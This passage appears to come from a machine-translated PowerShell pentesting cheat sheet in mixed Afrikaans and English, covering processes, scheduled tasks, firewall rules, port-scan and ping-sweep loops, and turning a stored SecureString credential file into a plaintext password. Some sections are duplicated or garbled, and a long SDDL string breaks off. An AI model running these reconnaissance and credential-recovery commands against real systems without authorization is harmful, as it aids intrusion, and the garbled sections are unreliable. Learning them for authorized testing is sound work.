The Remove-LocalGroupMember command is used to remove a user or group from a local group on a Windows system. You can specify the group name using the -Group parameter and the user or group name using the -Member parameter.

Remove-LocalGroupMember -Group "Administrators" -Member "Domain\User"

Set-LocalGroup

The Set-LocalGroup command is used to modify the properties of a local group on a Windows system. You can specify the group name using the -Name parameter and the properties you want to modify using the corresponding parameters.

Set-LocalGroup -Name "TestGroup" -Description "This is an updated description"

Summary

In this section, we have explored some basic PowerShell commands to work with groups in Windows. These commands can be used to retrieve information about groups, create new groups, add or remove members from groups, and modify group properties.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Knipbord

The clipboard is a temporary storage area in the computer's memory where data can be stored and retrieved. It is commonly used to copy and paste text, images, and other types of data between different applications or within the same application.

Clipboard Formats

The clipboard supports various formats for storing data. Some common formats include:

  • Text: Plain text that can be pasted into any text editor or word processor.
  • Rich Text Format (RTF): Formatted text that can preserve font styles, colors, and other formatting.
  • Bitmap: Images in bitmap format (BMP) that can be pasted into image editing software.
  • Enhanced Metafile (EMF): Vector graphics that can be resized without losing quality.
  • HTML: Hypertext Markup Language (HTML) code that can be pasted into web browsers or HTML editors.

Clipboard Security

The clipboard can be a potential security risk if sensitive information is copied and remains in the clipboard. This is because the clipboard can be accessed by other applications or even remote attackers.

To mitigate this risk, it is recommended to clear the clipboard after copying sensitive information. This can be done manually by copying something else or using a clipboard manager tool that automatically clears the clipboard after a certain period of time.

Clipboard Hijacking

Clipboard hijacking is a technique used by attackers to intercept and modify the data stored in the clipboard. This can be done by malware or malicious scripts running on the system.

To protect against clipboard hijacking, it is important to keep the system and applications up to date with the latest security patches. Additionally, it is advisable to use security software that can detect and block malicious activities.

Conclusion

The clipboard is a useful feature for copying and pasting data, but it can also pose a security risk if not used properly. By understanding the different clipboard formats and implementing security measures, users can protect their sensitive information from being compromised.

Get-Clipboard

Prosesse

In Windows, a process is an instance of a running program. It is responsible for executing the instructions of the program and managing its resources. Understanding how processes work is essential for a pentester, as it allows you to identify and manipulate running programs to achieve your objectives.

Listing Processes

To list all the running processes on a Windows system, you can use the Get-Process cmdlet in PowerShell. This command will display information such as the process ID (PID), name, and CPU usage of each process.

Get-Process

Killing Processes

As a pentester, you may need to terminate specific processes to gain control over a system or to stop unwanted activities. To kill a process in PowerShell, you can use the Stop-Process cmdlet followed by the process ID (PID) or the process name.

Stop-Process -ID <PID>

or

Stop-Process -Name <ProcessName>

Starting Processes

In some cases, you may want to start a new process during your pentesting activities. PowerShell provides the Start-Process cmdlet for this purpose. You can specify the path to the executable file or the name of the program to start.

Start-Process -FilePath <PathToExecutable>

or

Start-Process -Name <ProgramName>

Monitoring Processes

To monitor the activity of a specific process, you can use the Get-WmiObject cmdlet in PowerShell. This command allows you to retrieve information about a process, such as its CPU usage, memory consumption, and more.

Get-WmiObject -Class Win32_Process -Filter "Name='<ProcessName>'" | Select-Object *

Conclusion

Understanding how processes work in Windows and knowing how to manipulate them using PowerShell is crucial for a pentester. By listing, killing, starting, and monitoring processes, you can gain control over a system and achieve your objectives effectively.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Dienste

Introduction

Inleiding

In this section, you will find information about different services that can be found in a Windows environment. Understanding these services is crucial for a pentester, as they can be potential entry points for exploitation.

In hierdie gedeelte sal jy inligting vind oor verskillende dienste wat in 'n Windows-omgewing gevind kan word. Dit is van kritieke belang vir 'n pentester om hierdie dienste te verstaan, aangesien hulle potensiële toegangspunte vir uitbuiting kan wees.

Table of Contents

Inhoudsopgawe

Conclusion

Gevolgtrekking

Understanding the different services in a Windows environment is essential for a pentester. By familiarizing yourself with these services, you can identify potential vulnerabilities and exploit them effectively.

Die begrip van die verskillende dienste in 'n Windows-omgewing is noodsaaklik vir 'n pentester. Deur jouself vertroud te maak met hierdie dienste, kan jy potensiële kwesbaarhede identifiseer en effektief uitbuit.

Get-Service

Wagwoord vanaf veilige string

Om 'n wagwoord te kry vanaf 'n veilige string in PowerShell, kan die volgende stappe gevolg word:

  1. Stoor die veilige string in 'n veranderlike:

    $SecureString = ConvertTo-SecureString -String "VeiligeString" -AsPlainText -Force
    
  2. Gebruik die ConvertFrom-SecureString cmdlet om die veilige string om te skakel na 'n versleutelde teksstring:

    $EncryptedString = ConvertFrom-SecureString -SecureString $SecureString
    
  3. Stoor die versleutelde teksstring in 'n lêer:

    $EncryptedString | Out-File -FilePath "C:\Pad\Na\Lêer.txt"
    

Om die wagwoord vanaf die versleutelde teksstring te herstel, kan die volgende stappe gevolg word:

  1. Lees die versleutelde teksstring vanaf die lêer:

    $EncryptedString = Get-Content -Path "C:\Pad\Na\Lêer.txt"
    
  2. Gebruik die ConvertTo-SecureString cmdlet om die versleutelde teksstring terug te skakel na 'n veilige string:

    $SecureString = ConvertTo-SecureString -String $EncryptedString
    
  3. Gebruik die veilige string om die wagwoord te ontsluit:

    $Password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureString))
    

Hierdie metode kan nuttig wees vir situasies waarin 'n wagwoord veilig gestoor moet word en later herstel moet word sonder om dit in 'n leesbare formaat te hê.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Beplande Take

Beplande take is 'n kragtige funksie in Windows wat toelaat dat programme en skripte op 'n bepaalde tyd of interval uitgevoer word. Dit kan 'n nuttige hulpmiddel wees vir pentesters om toegang te verkry tot 'n stelsel en volhoubare toegang te behou.

Lys Beplande Take

Om 'n lys van beplande take op 'n Windows-stelsel te sien, kan die volgende PowerShell-opdrag gebruik word:

Get-ScheduledTask

Hierdie opdrag sal 'n lys van alle beplande take op die stelsel vertoon, insluitend die naam, pad en status van elke taak.

Skep 'n Beplande Taak

Om 'n nuwe beplande taak te skep, kan die volgende PowerShell-opdrag gebruik word:

$Action = New-ScheduledTaskAction -Execute "C:\path\to\program.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Settings = New-ScheduledTaskSettingsSet
Register-ScheduledTask -Action $Action -Trigger $Trigger -Settings $Settings -TaskName "MyScheduledTask" -Description "Beskrywing van die taak"

Hierdie opdrag sal 'n nuwe beplande taak skep wat uitgevoer word wanneer 'n gebruiker aanmeld. Die pad na die uitvoerbare lêer moet vervang word met die werklike pad na die program wat uitgevoer moet word. Die taaknaam en beskrywing kan ook aangepas word soos nodig.

Verwyder 'n Beplande Taak

Om 'n beplande taak te verwyder, kan die volgende PowerShell-opdrag gebruik word:

Unregister-ScheduledTask -TaskName "MyScheduledTask" -Confirm:$false

Hierdie opdrag sal die beplande taak met die opgegeven taaknaam verwyder. Wees versigtig om die regte taaknaam te gebruik, aangesien die taak permanent verwyder sal word.

Uitvoer 'n Beplande Taak

Om 'n beplande taak handmatig uit te voer, kan die volgende PowerShell-opdrag gebruik word:

Start-ScheduledTask -TaskName "MyScheduledTask"

Hierdie opdrag sal die beplande taak met die opgegeven taaknaam onmiddellik uitvoer.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Netwerk

Poortskandering

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Koppelvlakke

In Windows PowerShell, 'interfaces' verwys na die metodes en eienskappe wat beskikbaar is vir 'n spesifieke tipe objek. Dit stel die gebruiker in staat om metodes en eienskappe van 'n objek te gebruik sonder om die volledige implementasie daarvan te ken. Dit bied 'n gestandaardiseerde manier om met objekte te kommunikeer en maak dit makliker om herbruikbare kode te skep.

Om die beskikbare koppelvlakke vir 'n spesifieke objek te sien, kan jy die Get-Member cmdlet gebruik. Hierdie cmdlet toon 'n lys van die metodes en eienskappe wat beskikbaar is vir die objek. Jy kan dan die koppelvlakke gebruik om die objek te manipuleer en die gewenste funksionaliteit te bereik.

Byvoorbeeld, as jy 'n System.IO.FileInfo objek het, kan jy die Get-Member cmdlet gebruik om die beskikbare koppelvlakke te sien:

$FileInfo = Get-Item -Path C:\Path\To\File.txt
$FileInfo | Get-Member

Hierdie sal 'n lys van die metodes en eienskappe van die System.IO.FileInfo objek toon. Jy kan dan die koppelvlakke gebruik om die lêerobjek te manipuleer, soos om die grootte te kry, die lêer te hernoem, of die lêer te verwyder.

Die gebruik van koppelvlakke in PowerShell is 'n kragtige tegniek wat jou in staat stel om doeltreffend met objekte te werk en die funksionaliteit daarvan te benut. Deur die beskikbare koppelvlakke te verstaan en te gebruik, kan jy jou PowerShell-skripsies en -hacks verbeter.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Vuurmuur

'n Vuurmuur is 'n belangrike komponent van die netwerkbeveiliging wat gebruik word om ongewenste toegang tot 'n stelsel of netwerk te voorkom. Dit funksioneer deur inkomende en uitgaande verkeer te monitor en te beheer volgens spesifieke reëls en beleide.

'n Vuurmuur kan op hardeware- of sagtewarevlak geïmplementeer word. Dit kan verskillende tipes verkeer blokkeer, soos TCP, UDP, ICMP en ander protokolle. Dit kan ook spesifieke IP-adresse, poorte en protokolle toelaat of blokkeer.

'n Effektiewe vuurmuurbeleid moet goed geïmplementeer en gemonitor word om die netwerk teen aanvalle te beskerm. Dit moet ook gereeld opgedateer word om by te bly met nuwe bedreigings en beveiligingslekke.

'n Vuurmuur is 'n noodsaaklike komponent van enige netwerkbeveiligingsstrategie en moet korrek gekonfigureer en onderhou word om die integriteit en vertroulikheid van die stelsel en netwerk te verseker.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Roete

route print

ARP

ARP (Address Resolution Protocol) is 'n protokol wat gebruik word om die IP-adres van 'n toestel in 'n netwerk te koppel aan die fisiese MAC-adres van die toestel. Dit is 'n belangrike protokol vir die korrekte werking van netwerkverbindings.

Wanneer 'n toestel in 'n netwerk 'n IP-adres wil kommunikeer, moet dit die fisiese MAC-adres van die bestemmings-toestel ken. Die ARP-protokol maak dit moontlik deur 'n ARP-aanvraag te stuur na die netwerk. Die aanvraag bevat die IP-adres van die bestemmings-toestel en die toestel se MAC-adres reageer met 'n ARP-antwoord. Hierdie antwoord bevat die fisiese MAC-adres van die bestemmings-toestel.

ARP kan egter ook misbruik word deur aanvallers om 'n man-in-die-middel-aanval uit te voer. Hierdie aanval behels die stuur van valse ARP-aanvrae om die IP-naar-MAC-koppelings in 'n netwerk te vervals. As 'n aanvaller byvoorbeeld 'n valse ARP-aanvraag stuur en beweer dat sy MAC-adres gekoppel is aan 'n spesifieke IP-adres, sal die netwerktoestelle hierdie vervalsing aanvaar en al die verkeer na daardie IP-adres na die aanvaller stuur.

Om hierdie tipe aanvalle te voorkom, kan netwerkadministrateurs sekuriteitsmaatreëls implementeer, soos die gebruik van ARP-inspeksie of ARP-spoofing-detectie. Hierdie maatreëls kan help om die integriteit van die ARP-tabel in 'n netwerk te handhaaf en die risiko van ARP-gebaseerde aanvalle te verminder.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Gasheer

Hierdie gids bevat 'n lys van die belangrikste lêers en instellings wat verband hou met die gasheer se hardeware en bedryfstelsel. Dit is belangrik om hierdie lêers en instellings te verstaan en te verhard om die veiligheid van die gasheer te verbeter.

Lêers

  • /etc/hosts: Hierdie lêer bevat 'n lys van IP-adresse en bybehorende hostnames. Dit word gebruik om DNS-navrae te omseil en spesifieke IP-adresse aan te dui vir spesifieke hostnames. Dit kan gebruik word om die toegang tot sekere webwerwe te blokkeer deur die IP-adres van die webwerf na 'n ongeldige adres te stuur.
  • C:\Windows\System32\drivers\etc\hosts: Hierdie lêer is die Windows-weergawe van die /etc/hosts-lêer in Linux. Dit het dieselfde funksie as die Linux-weergawe en kan gebruik word om DNS-navrae te omseil en IP-adresse aan te dui vir spesifieke hostnames.

Instellings

  • DNS: Die Domain Name System (DNS) is 'n protokol wat gebruik word om IP-adresse aan hostnames te koppel. Dit is belangrik om die DNS-instellings van die gasheer te verstaan en te verhard om DNS-aanvalle te voorkom.
  • Firewall: 'n Firewall is 'n sekuriteitsinstrument wat gebruik word om inkomende en uitgaande netwerkverkeer te beheer. Dit is belangrik om die firewall-instellings van die gasheer te verstaan en te verhard om ongewenste toegang tot die gasheer te voorkom.
  • Antivirus: Antivirus sagteware is ontwerp om skadelike programme en bedreigings te identifiseer en te verwyder. Dit is belangrik om 'n betroubare antivirusprogram op die gasheer te installeer en te verhard om die gasheer teen skadelike programme te beskerm.

Dienste

Hierdie gids bevat 'n lys van die belangrikste dienste wat op die gasheer beskikbaar kan wees. Dit is belangrik om hierdie dienste te verstaan en te verhard om die veiligheid van die gasheer te verbeter.

Windows-dienste

  • Remote Desktop Protocol (RDP): RDP is 'n protokol wat gebruik word om 'n gebruiker toe te laat om 'n rekenaar op afstand te beheer. Dit is belangrik om die RDP-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer te voorkom.
  • Server Message Block (SMB): SMB is 'n protokol wat gebruik word vir die lêer- en drukdienste in 'n netwerk. Dit is belangrik om die SMB-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die lêers en drukkers op die gasheer te voorkom.
  • Windows Management Instrumentation (WMI): WMI is 'n beheerinstrument wat gebruik word om die bedryfstelsel en hardeware van 'n Windows-rekenaar te bestuur. Dit is belangrik om die WMI-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer se bestuursfunksies te voorkom.

Linux-dienste

  • Secure Shell (SSH): SSH is 'n protokol wat gebruik word om veilige toegang tot 'n Linux-rekenaar te verkry. Dit is belangrik om die SSH-instellings van die gasheer te verstaan en te verhard om ongemagtigde toegang tot die gasheer te voorkom.
  • Apache HTTP Server: Apache is 'n webbediener wat gebruik word om webwerwe te bedien. Dit is belangrik om die Apache-instellings van die gasheer te verstaan en te verhard om die veiligheid van die webwerwe op die gasheer te verbeter.
  • MySQL: MySQL is 'n databasisbestuurstelsel wat gebruik word om databasisse op 'n Linux-rekenaar te bestuur. Dit is belangrik om die MySQL-instellings van die gasheer te verstaan en te verhard om die veiligheid van die databasisse op die gasheer te verbeter.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Ping is 'n nuttige opdrag in PowerShell wat gebruik kan word om die beskikbaarheid van 'n netwerkverbinding te toets. Dit stuur 'n ICMP-sonde na 'n spesifieke IP-adres of DNS-naam en meet die tyd wat dit neem vir die sonde om terug te keer. Hier is die sintaks vir die ping-opdrag in PowerShell:

ping <IP-adres of DNS-naam>

Byvoorbeeld, as jy die beskikbaarheid van 'n IP-adres wil toets, kan jy die volgende opdrag gebruik:

ping 192.168.0.1

As jy die beskikbaarheid van 'n DNS-naam wil toets, kan jy die volgende opdrag gebruik:

ping www.example.com

Die ping-opdrag sal 'n reeks sonde stuur en die resultate vir elke sonde vertoon. Dit sal die tyd in millisekondes (ms) vertoon wat dit geneem het vir die sonde om terug te keer. As die sonde suksesvol is, sal dit 'Reply' aandui. As die sonde nie suksesvol is nie, sal dit 'Request Timed Out' aandui.

Ping kan nuttig wees vir netwerktoetsing en probleemoplossing, insluitend die bepaling van verbindingsprobleme, vertraging en pakketverlies.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) is 'n protokol wat gebruik word om netwerktoestelle te bestuur en te moniteer. Dit maak gebruik van 'n agente-gebaseerde benadering, waar die toestelle wat gemoniteer moet word, SNMP-agente moet hê wat inligting verskaf aan 'n sentrale bestuursstelsel, bekend as 'n SNMP-bestuurder.

SNMP-agente verskaf inligting oor verskeie aspekte van 'n toestel, soos sy status, prestasie, konfigurasie en meer. Hierdie inligting word gestruktureer in 'n hiërargie van beheerde objekte, bekend as MIB (Management Information Base). Die MIB bevat 'n versameling van unieke identifiseerders, bekend as OIDs (Object Identifiers), wat gebruik word om spesifieke inligting te identifiseer en op te vra.

Pentesters kan SNMP gebruik om inligting oor 'n doelwitnetwerk te bekom, soos die lys van aktiewe toestelle, hul konfigurasie, dienste wat uitgevoer word, en selfs om sekuriteitslekke te identifiseer. Dit kan gedoen word deur die gebruik van verskillende SNMP-opdragte, soos SNMP-wandel, SNMP-vraag en SNMP-trap.

Dit is belangrik om te verstaan dat SNMP 'n kragtige hulpmiddel is, maar dit kan ook 'n potensiële sekuriteitsrisiko wees as dit nie behoorlik geïmplementeer en gehardloop word nie. Dit is dus noodsaaklik om die nodige veiligheidsmaatreëls te tref, soos die beperking van SNMP-toegang, die gebruik van sterk gemeenskapstrings en die monitering van SNMP-verkeer vir verdagte aktiwiteit.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Omskakeling van die SDDL-String na 'n leesbare formaat

Om die SDDL-string in 'n leesbare formaat te omskakel, kan jy die volgende stappe volg:

  1. Gebruik die ConvertFrom-SddlString cmdlet in PowerShell om die SDDL-string na 'n objek te omskakel.

    $sddlString = "SDDL-string-hier"
    $sddlObject = ConvertFrom-SddlString -Sddl $sddlString
    
  2. Gebruik die Format-List cmdlet om die objek se eienskappe in 'n leesbare formaat te vertoon.

    $sddlObject | Format-List
    

Hierdie stappe sal die SDDL-string omskakel na 'n objek en die eienskappe van die objek in 'n leesbare formaat vertoon.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880